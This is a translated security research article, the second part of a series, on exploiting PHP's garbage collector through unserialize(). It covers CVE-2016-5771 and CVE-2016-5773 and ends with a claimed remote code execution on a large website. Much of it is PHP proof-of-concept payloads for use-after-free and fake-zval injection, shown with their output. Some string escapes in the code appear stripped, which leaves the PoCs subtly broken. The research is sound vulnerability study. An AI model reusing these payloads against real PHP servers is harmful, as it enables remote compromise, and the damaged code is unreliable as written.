传送门
如何攻破 PHP 的垃圾回收和反序列化机制(上) https://www.anquanke.com/post/id/149421
在上篇文章中, 我们针对 "为什么外部数组完全被释放?" 这一问题进行了详尽的分析, 最终证明, 造成该漏洞的主要原因是 ArrayObject 缺少垃圾回收函数. 我们将该漏洞称为 "双递减漏洞", 漏洞报告如下(CVE-2016-5771): https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-5771 .
然而, 由于在不经过对反序列化进行调整的前提下, 我们无法触发这一漏洞, 因此还不能仅凭借此漏洞来实现远程代码执行.
本篇文章中将继续进行探究和分析, 最终得出结论, 并给出完整的漏洞利用方法.
4 解决远程利用问题
现在, 我们仍然需要回答开头提出的剩下两个问题. 其中之一是, 是否有必要手动调用 gc_collect_cycles?
4.1 在反序列化过程中触发垃圾回收机制
我们在思考, 是否能够首先触发垃圾回收机制. 如前所述, 有一种方法可以自动调用垃圾回收进程, 该进程将会超出具有潜在根元素的垃圾回收缓冲区. 我发现了如下简单的技巧.
- //Triggering GC during unserialization
- define("GC_ROOT_BUFFER_MAX_ENTRIES", 10000);
- define("NUM_TRIGGER_GC_ELEMENTS", GC_ROOT_BUFFER_MAX_ENTRIES+5);
- $overflow_gc_buffer = str_repeat('i:0;a:0:{}', NUM_TRIGGER_GC_ELEMENTS);
- $trigger_gc_serialized_string = 'a:'.(NUM_TRIGGER_GC_ELEMENTS).':{'.$overflow_gc_buffer.'}';
- unserialize($trigger_gc_serialized_string);
通过在 gdb 中检查上述内容, 我们看到 gc_collect_cycles 确实被调用了. 由于反序列化过程允许一遍又一遍地传递相同的索引(在此例中索引为 0), 所以这一技巧能够成功. 一旦重新使用数组的索引, 旧元素的引用计数器就会递减. 在反序列化过程中将会调用 zend_hash_update, 它将调用旧元素的析构函数(Destructor).
每当 zval 被销毁时, 都会涉及到垃圾回收算法. 这也就意味着, 所有创建的数组都会开始填充垃圾缓冲区, 直至超出其空间导致对 gc_collect_cycles 的调用.
上述情况对漏洞利用来说无疑是好消息, 目标系统不再需要手动调用垃圾回收过程. 但是, 还有一些新问题随之出现, 事情变得更加棘手.
4.2 解决反序列化问题
就算我们能够在反序列化过程中调用垃圾回收, 双递减漏洞是否仍然能在反序列化上下文中有效呢? 经过测试, 我们发现答案是否定的, 其原因在于反序列化期间所有元素的引用计数器值都大于完成后的值. 特别是, 反序列化过程会跟踪所有未序列化的元素, 以允许设置引用. 全部条目都存储在列表 var_hash 中. 一旦反序列化过程即将完成, 就会破坏函数 var_destroy 中的条目.
我们举例说明此问题:
- $reference_count_test = unserialize('a:2:{i:0;i:1337;i:1;r:2;}');
- debug_zval_dump($reference_count_test);
- /*
- Result:
- array(2) refcount(2){
- [0]=>
- long(1337) refcount(2)
- [1]=>
- long(1337) refcount(2)
- }
- */
反序列化完成后, 1337 整数 zval 的引用计数器为 2. 如果我们在反序列化终止之前设置一个断点 (例如, 在返回之前调用 var_destroy 的位置) 并转储 var_hash 的内容, 将可以看到以下的引用计数:
- [0x109e820] (refcount=2) array(2): {
- 0 => [0x109cf70] (refcount=4) long: 1337
- 1 => [0x109cf70] (refcount=4) long: 1337
- }
我们此前分析过的双递减漏洞允许我们将特定元素的引用计数减少两次. 但根据上述内容, 我们发现, 针对每个在特定元素上的附加引用, 我们必须让引用计数增加 2.
就在陷入瓶颈的过程中, 我突然想到: ArrayObject 的反序列化函数接受对另一个数组的引用, 以用于初始化的目的. 这也就意味着, 一旦我们对一个 ArrayObject 进行反序列化后, 就可以引用任何之前已经被反序列化过的数组. 此外, 这还将允许我们将整个哈希表中的所有条目递减两次. 具体步骤如下:
1, 得到一个应被释放的目标 zval X;
2, 创建一个数组 Y, 其中包含几处对 zval X 的引用: array(ref_to_X, ref_to_X, [...], ref_to_X);
3, 创建一个 ArrayObject, 它将使用数组 Y 的内容进行初始化, 因此会返回一次由垃圾回收标记算法访问过的数组 Y 的所有子元素.
通过上述步骤, 我们可以操纵标记算法, 对数组 Y 中的所有引用实现两次访问. 但是, 在反序列化过程中创建引用将会导致引用计数器增加 2, 所以还要找到解决方案:
4, 使用与步骤 3 相同的方法, 额外再创建一个 ArrayObject.
一旦标记算法访问第二个 ArrayObject, 它将开始对数组 Y 中的所有引用进行第三次递减. 我们现在就有方法能够使引用计数器递减, 可以将该方法用于对任意目标 zval 的引用计数器实现清零.
由于这些 ArrayObject 用于对目标引用计数器实现递减, 所以我们将其称为 "DecrementorObject".
尽管现在已经能够清零任意目标 zval 的引用计数器, 但垃圾回收算法依然没有释放......
4.3 破坏引用计数器递减的证据
经过大量调试后, 我发现此前的步骤存在一个关键问题. 我此前一直认为, 如果一个节点被标记为白色, 那么它一定会被释放. 然而事实证明, 即使一个节点被标记为白色, 它后续也可能再次被标记为黑色.
请认真考虑如下步骤进行后所发生的情况:
1,gc_mark_roots 和 zval_mark_grey 将我们的目标 zval 引用计数改为 0;
2, 垃圾回收机制将执行 gc_scan_roots, 从而确认哪些 zval 可以被标记为白色, 哪些应该被标记为黑色;(在这一步中, 由于其引用计数为 0, 我们的目标 zval 被标记为白色)
3, 一旦这个函数访问 DecrementorObject, 就会检测到其引用计数大于 0, 并将其自身及子项全都标记为黑色, 然而我们的目标 zval 也是其中的一个子项, 因此目标 zval 将再次被标记为黑色.
总而言之, 我们需要消除掉递减的 "证据". 特别是, 我们需要确保在 zval_mark_grey 完成后, DecremtorObject 的引用计数器也变为 0. 经过进一步思考, 我提出了如下解决方案:
- array( ref_to_X, ref_to_X, DecrementorObject, DecrementorObject)
- ----- ------------------------------------
- /* | |
- target_zval each one is initialized with the
- X contents of array X
- */
该方案的好处在于, DecrementorObject 现在也会减少其自身的引用计数. 这将有助于帮我们实现一种状态, 在 gc_mark_roots 访问完所有 zval 后, 使目标数组及其所有子节点的引用计数为 0. 按照这种思路, 我们的示例如下:
- define("GC_ROOT_BUFFER_MAX_ENTRIES", 10000);
- define("NUM_TRIGGER_GC_ELEMENTS", GC_ROOT_BUFFER_MAX_ENTRIES+5);
- // Overflow the GC buffer.
- $overflow_gc_buffer = str_repeat('i:0;a:0:{}', NUM_TRIGGER_GC_ELEMENTS);
- // The decrementor_object will be initialized with the contents of our target array ($free_me).
- $decrementor_object = 'C:11:"ArrayObject":19:{x:i:0;r:3;;m:a:0:{}}';
- // The following references will point to the $free_me array (id=3) within unserialize.
- $target_references = 'i:0;r:3;i:1;r:3;i:2;r:3;i:3;r:3;';
- // Setup our target array i.e. an array that is supposed to be freed during unserialization.
- $free_me = 'a:7:{'.$target_references.'i:9;'.$decrementor_object.'i:99;'.$decrementor_object.'i:999;'.$decrementor_object.'}';
- // Increment each decrementor_object reference count by 2.
- $adjust_rcs = 'i:99;a:3:{i:0;r:8;i:1;r:12;i:2;r:16;}';
- // Trigger the GC and free our target array.
- $trigger_gc = 'i:0;a:'.(2 + NUM_TRIGGER_GC_ELEMENTS).':{i:0;'.$free_me.$adjust_rcs.$overflow_gc_buffer.'}';
- // Add our GC trigger and add a reference to the target array.
- $payload = 'a:2:{'.$trigger_gc.'i:0;r:3;}';
- var_dump(unserialize($payload));
- /*
- Result:
- array(1) {
- [0]=>
- int(140531288870456)
- }
- */
如你所见, 现在不再需要手动调用 gc_collect_roots. 并且其结果表明, 我们的目标数组 (例如 $free_me) 被释放, 并且还发生了一些其他奇怪的事情, 最终我们能够得到一个堆地址.
发生这种情况的原因是:
1, 触发垃圾回收机制, 目标数组将被释放, 然后垃圾回收终止, 并将控制权交回反序列化过程.
2, 释放的空间被将要定义的下一个 zval 覆盖.
在这里请注意, 我们通过使用许多连续的 "i:0;a:0:{}" 来触发垃圾回收. 因此, 一旦某个特定元素触发了垃圾回收机制, 在此之后将要创建的下一个 zval 是 "i:0;", 这是将要定义的下一个数组的索引整数. 换而言之, 我们有一个字符串, 例如 "[...]i:0;a:0:{} X i:0;a:0:{} X i:0;a:0:{}[...]", 其中垃圾回收机制在任意 X 处触发, 之后反序列化过程将继续反序列化填充先前释放空间的数据.
3, 因此, 我们释放的空间就会临时包含这个整数 zval. 当反序列化即将结束时, 会调用 var_destroy, 然后释放这个整数元素. 内存管理器将使用最后一个释放的空间的地址覆盖这个释放的空间的第一个字节. 但是, 上一个 zval 的类型 (即整型) 将会保留.
因此, 我们最终看到了一个堆地址. 要理解这个过程可能会很复杂, 但最重要的是大家要理解垃圾回收机制出发的位置, 以及这一过程中会生成新的值来填充已释放空间的位置.
现在, 我们在上述基础上, 来关注如何对释放的空间进行控制.
4.4 控制释放后的空间
控制释放后空间的标准过程是用假的 zval 对其进行填充. 通过使用悬挂指针, 我们可以实现一些事情, 例如泄露内存, 或是控制 CPU 的指令指针.
为了利用释放后的空间, 我们首先必须进行一些调整:
1, 必须释放多个变量, 以便我们可以用假 zval 字符串的内容填充其中一个释放后的空间, 而不是用假 zval 字符串的 zval 填充释放的空间.
2, 在使用假 zval 字符串的 zval 填充释放后空间之后, 我们必须使这些释放空间 "稳定". 如果忽略了这一步, 反序列化过程会释放我们的假 zval 字符串, 也就破坏了我们的假 zval.
3, 必须确保释放后的空间和我们创建的假 zval 字符串正确对其. 此外, 我们必须确保一旦垃圾回收机制完成后, 释放后空间要立即被假 zval 字符串填充. 为了实现这一目的, 我想出了一个 "三明治" 技术.
针对 "三明治" 技术, 我们不会在本文中详细讨论, 只提供如下 PoC:
- define("GC_ROOT_BUFFER_MAX_ENTRIES", 10000);
- define("NUM_TRIGGER_GC_ELEMENTS", GC_ROOT_BUFFER_MAX_ENTRIES+5);
- // Create a fake zval string which will fill our freed space later on.
- $fake_zval_string = pack("Q", 1337).pack("Q", 0).str_repeat("x01", 8);
- $encoded_string = str_replace("%", "\", urlencode($fake_zval_string));
- $fake_zval_string = 'S:'.strlen($fake_zval_string).':"'.$encoded_string.'";';
- // Create a sandwich like structure:
- // TRIGGER_GC;FILL_FREED_SPACE;[...];TRIGGER_GC;FILL_FREED_SPACE
- $overflow_gc_buffer = '';
- for($i = 0; $i <NUM_TRIGGER_GC_ELEMENTS; $i++) {
- $overflow_gc_buffer .= 'i:0;a:0:{}';
- $overflow_gc_buffer .= 'i:'.$i.';'.$fake_zval_string;
- }
- // The decrementor_object will be initialized with the contents of our target array ($free_me).
- $decrementor_object = 'C:11:"ArrayObject":19:{x:i:0;r:3;;m:a:0:{}}';
- // The following references will point to the $free_me array (id=3) within unserialize.
- $target_references = 'i:0;r:3;i:1;r:3;i:2;r:3;i:3;r:3;';
- // Setup our target array i.e. an array that is supposed to be freed during unserialization.
- $free_me = 'a:7:{i:9;'.$decrementor_object.'i:99;'.$decrementor_object.'i:999;'.$decrementor_object.$target_references.'}';
- // Increment each decrementor_object reference count by 2.
- $adjust_rcs = 'i:99999;a:3:{i:0;r:4;i:1;r:8;i:2;r:12;}';
- // Trigger the GC and free our target array.
- $trigger_gc = 'i:0;a:'.(2 + NUM_TRIGGER_GC_ELEMENTS*2).':{i:0;'.$free_me.$adjust_rcs.$overflow_gc_buffer.'}';
- // Add our GC trigger and add a reference to the target array.
- $stabilize_fake_zval_string = 'i:0;r:4;i:1;r:4;i:2;r:4;i:3;r:4;';
- $payload = 'a:6:{'.$trigger_gc.$stabilize_fake_zval_string.'i:4;r:8;}';
- $a = unserialize($payload);
- var_dump($a);
- /*
- Result:
- array(5) {
- [...]
- [4]=>
- int(1337)
- }
- */
最终, 我们可以手工创建一个整型变量.
此时, 我们准备的 Payload 已经可以用于远程漏洞利用. 需要特别提出的是, 这里的 Payload 还有一些可优化的空间. 例如, 通过对最后 20% 连续的 "i:0;a:0:{}" 元素应用 "三明治" 技术, 可以进一步减少 Payload 的大小.
5 ZipArchive 类 UAF 漏洞
我们发现的另一个漏洞是 CVE-2016-5773( https://bugs.php.net/bug.php?id=72434 ; https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-5773 ). 该漏洞的成因在于一个类似的问题, 在 ZipArchive 类中遗漏了一个垃圾回收函数. 然而, 该漏洞的利用与我们此前讨论的漏洞则完全不同.
我们前文曾说过: 由于 zval 引用计数器的暂时递减, 可能会导致一些影响(例如: 对已经递减的引用计数器再次进行检查, 或对其进行其他操作), 从而造成严重后果.
而这里正是这一问题可以被滥用的具体场景. 首先通过标记算法使引用计数器出现问题, 然后调用 php_zip_get_properties(而不是调用一个有效的垃圾回收函数), 我们就可以释放一个特定的元素.
该漏洞的 PoC 如下:
- $serialized_string = 'a:1:{i:0;a:3:{i:1;N;i:2;O:10:"ZipArchive":1:{s:8:"filename";i:1337;}i:1;R:5;}}';
- $array = unserialize($serialized_string);
- gc_collect_cycles();
- $filler1 = "aaaa";
- $filler2 = "bbbb";
- var_dump($array[0]);
- /*
- Result:
- array(2) {
- [1]=>
- string(4) "bbbb"
- [...]
- */
需要注意的是, 在正常情况下, 设置对尚未反序列化的 zval 的引用是不可能实现的. 这一漏洞的 Payload 利用了一个小技巧来绕过这个限制:
[...] i:1;N; [...] s:8:"filename";i:1337; [...] i:1;R:REF_TO_FILENAME; [...]
Payload 首先会创建一个带有索引 1 的 NULL 条目, 随后使用对文件名的引用来覆盖此条目. 垃圾回收机制将只能看到 "i:1;REF_TO_FILENAME; [...] s:8:"filename";i:1337; [...]". 这个技巧是非常必要的, 因为我们需要确保 "文件名" 整数 zval 的引用计数器在产生影响之前已经被修改.
6 结论
发现远程漏洞利用的相关漏洞是一项非常艰巨的任务. 正如大家所见到的, 每当我解决了一个问题之后, 就又有一个新问题出现在面前. 在这篇文章中, 我们采用了一种能够解决高复杂度问题的方法, 逐一攻破难点, 最终实现了目标.
此外, 我们发现两个完全无关的 PHP 组件反序列化和垃圾回收具有相互作用, 这个发现是非常有趣的. 在这次研究中, 我亲自分析了这些组件的行为, 并从中收获了不少乐趣. 在这里, 我建议各位读者也可以复现本文的全部或部分过程, 以对这些漏洞有更深的体会.
在这里, 我们已经对反序列化进行了利用. 但是, 至少对于本地开发而言, 是否使用反序列化是可以选择的. 我们在这里所发现的漏洞与在早期 PHP 版本中发现的低技术含量反序列化问题是完全不同的. 但其防范方法都是一样: 开发者不应使用用户输入的反序列化, 应选用 JSON 这样不太复杂的序列化方法.
最后, 通过本文的概念证明以及对其中一个漏洞的实际利用, 我们发现了 pornhub.com 的远程代码执行安全问题. 这一安全问题也佐证了 PHP 的垃圾回收机制是一个非常有趣的攻击面.
来源: https://juejin.im/entry/5b35a40ae51d4558aa051645